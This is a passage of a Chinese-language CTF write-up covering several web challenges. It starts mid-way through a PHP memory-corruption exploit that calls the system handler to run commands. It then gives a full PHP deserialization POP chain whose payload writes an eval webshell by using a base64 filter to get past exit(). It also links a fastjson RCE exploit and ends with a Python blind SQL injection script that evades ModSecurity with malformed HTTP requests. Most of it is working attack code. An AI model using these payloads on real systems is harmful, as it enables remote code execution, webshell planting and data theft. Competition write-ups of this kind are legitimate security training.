        die("Couldn't get zif_system address");
    }

    # fake closure object
    $fake_obj_offset = 0xd0;
    for($i = 0; $i < 0x110; $i += 8) {
        write($abc, $fake_obj_offset + $i, leak($closure_obj, $i));
    }

    # pwn
    write($abc, 0x20, $abc_addr + $fake_obj_offset);
    write($abc, 0xd0 + 0x38, 1, 4); # internal func type
    write($abc, 0xd0 + 0x68, $zif_system); # internal func handler

    ($helper->b)($cmd);

    exit();
}

----------1608040292
```

ezpop

```php
<?php
error_reporting(0);

class A{

    protected $store;

    protected $key;

    protected $expire;

    public function __construct($store, $key = 'flysystem', $expire = null)
    {
        $this->key    = $key;
        $this->store  = $store;
        $this->expire = $expire;
    }
```

```
    public function cleanContents(array $contents)
    {
        $cachedProperties = array_flip([
            'path', 'dirname', 'basename', 'extension', 'filename',
            'size', 'mimetype', 'visibility', 'timestamp', 'type',
        ]);

        foreach ($contents as $path => $object) {
            if (is_array($object)) {
                $contents[$path] = array_intersect_key($object, $cachedProperties);
            }
        }

        return $contents;
    }

    public function getForStorage()
    {
        $cleaned = $this->cleanContents($this->cache);

        return json_encode([$cleaned, $this->complete]);
    }

    public function save()
    {
        $contents = $this->getForStorage();

        $this->store->set($this->key, $contents, $this->expire);
    }

    public function __destruct()
    {
        if (! $this->autosave) {
            $this->save();
        }
    }
}

class B{

    protected function getExpireTime($expire): int
    {
        return (int) $expire;
    }

    public function getCacheKey(string $name): string
    {
        return $this->options['prefix'] . $name;
    }

    protected function serialize($data): string
    {
        if (is_numeric($data)) {
            return (string) $data;
        }

        $serialize = $this->options['serialize'];

        return $serialize($data);
```

```
        return $serialize($data);
    }

    public function set($name, $value, $expire = null): bool
    {
        $this->writeTimes++;

        if (is_null($expire)) {
            $expire = $this->options['expire'];
        }

        $expire   = $this->getExpireTime($expire);
        $filename = $this->getCacheKey($name);

        $dir = dirname($filename);

        if (!is_dir($dir)) {
            try {
                mkdir($dir, 0755, true);
            } catch (\Exception $e) {
                // 创建失败
            }
        }

        $data = $this->serialize($value);

        if ($this->options['data_compress'] && function_exists('gzcompress')) {
            //数据压缩
            $data = gzcompress($data, 3);
        }

        $data   = "<?php\n//" . sprintf('%012d', $expire) . "\n exit();?>\n" . $data;
        $result = file_put_contents($filename, $data);

        if ($result) {
            return true;
        }

        return false;
    }

}

if (isset($_GET['src']))
{
    highlight_file(__FILE__);
}

$dir = "uploads/";

if (!is_dir($dir))
{
    mkdir($dir);
}
unserialize($_GET["data"]);
```

构造pop链

通过触发`A::__destruct()` => `A::save()` => `A::store->set()` == `b::set()` 最后触发`$result = file_put_contents($filename, $data);`

绕过exit通过 让`$filename`为`php://filter/write=convert.base64-decode/resource=uploads/shell.php`

因为php中的`base64_decode`函数会忽略不符合base64编码的字符， 将合法字符组成一个新的字符串进行解码，所以最终被解码的字符仅有`php00000000exit`和我们传入的`$data`变量，因为base64算法解码时是4个byte一组，所以我们只要控制我们需要真正解码内容的前面部分字符长度为4的倍数就行

详细可以参考p师傅的博客link

$filename

在`B::getCacheKey($name)`中，将`$this->options['prefix']`和`$name`拼接得到

构造`B::options`和`A::key`使`$filename`为`php://filter/write=convert.base64-decode/resource=uploads/shell.php`

$data

由`$value=A::getForStorage()`和`B::serialize($value)`得到

构造A的cache为数组`['path'=>'a','dirname'=>base64_encode('<?php eval($_GET[a]);?>')];`

就可以使得`$value=A::getForStorage()`的值为`[{"path":"a","dirname":"PD9waHAgZXZhbCgkX0dFVFthXSk7Pz4g"},true]`

然后再构造B的serialize值为`serialize`就可以使得`B::serialize($value)`的值为`s:64:"[{"path":"a","dirname":"PD9waHAgZXZhbCgkX0dFVFthXSk7Pz4g"},true]";`

这样在最后`$data`被base64解码的时候只有`php//000000000000exits64pathadirname`和`PD9waHAgZXZhbCgkX0dFVFthXSk7Pz4gtrue`，然后前36位字符被编码成功绕过exit

payload

```php
<?php
class A{
    protected $store;
    protected $key;
    protected $expire;
    public $cache = [];
    public $complete = true;
    public function __construct () {
        $this->store = new B();
        $this->key = 'shell.php';
        $this->cache = ['path'=>'a','dirname'=>base64_encode('<?php eval($_GET[a]);?>')];
    }
}

class B{
    public $options = [
        'serialize' => 'serialize',
        'prefix' => 'php://filter/write=convert.base64-decode/resource=uploads/',
    ];
}

echo urlencode(serialize(new A()));
```

ezjjava

fastjson 1.2.47 RCE
https://github.com/CaijiOrz/fastjson-1.2.47-RCE

ezwaf

题目

```php
<?php
include "config.php";

if (isset($_GET['src']))
{
    highlight_file(__FILE__);
}

function escape($arr)
{
    global $mysqli;
    $newarr = array();
    foreach($arr as $key=>$val)
    {
        if (!is_array($val))
        {
            $newarr[$key] = mysqli_real_escape_string($mysqli, $val);
        }
    }
    return $newarr;
}

$_GET= escape($_GET);

if (isset($_GET['name']))
{
    $name = $_GET['name'];
    mysqli_query($mysqli, "select age from user where name='$name'");
}else if(isset($_GET['age']))
{
    $age = $_GET['age'];
    mysqli_query($mysqli, "select name from user where age=$age");
}
```

选择age作为注入点，不需要逃逸引号,没有回显利用时间盲注

`?age=1%2bsleep(1)` => 403

apache设置了waf

用畸形的http包绕过modsecurity

```python
import socket

ip = '111.186.57.43'
port = 10601

def send_raw(raw):
    try:
        with socket.create_connection((ip, port), timeout=4) as conn:
            conn.send(raw)
            res = conn.recv(10240).decode()
            # print(res)
            return False
    except:
        return True



if __name__ == '__main__':

    res = 'flag{abypass_modsecurity'
    for i in range(24, 50):
        for j in range(32, 127):
            payload = '''GET /?age=1%20or%201%20and%20ascii(substr((select%20*%20from%20flag_xdd),{},1))={}%20an
d%20sleep(2) HTTP/1.1
Host: 111.186.57.43:10601
Accept-Encoding: gzip, deflate
Connection: close
Content-Length: 0
Content-Length: 0

'''.format(str(i), str(j))
            exp = payload.encode().replace(b'\n', b'\r\n')
            # print(exp)
            if send_raw(exp):
                res += chr(j)
                print(res)
                continue
```

不稳定的话时间可以调大一点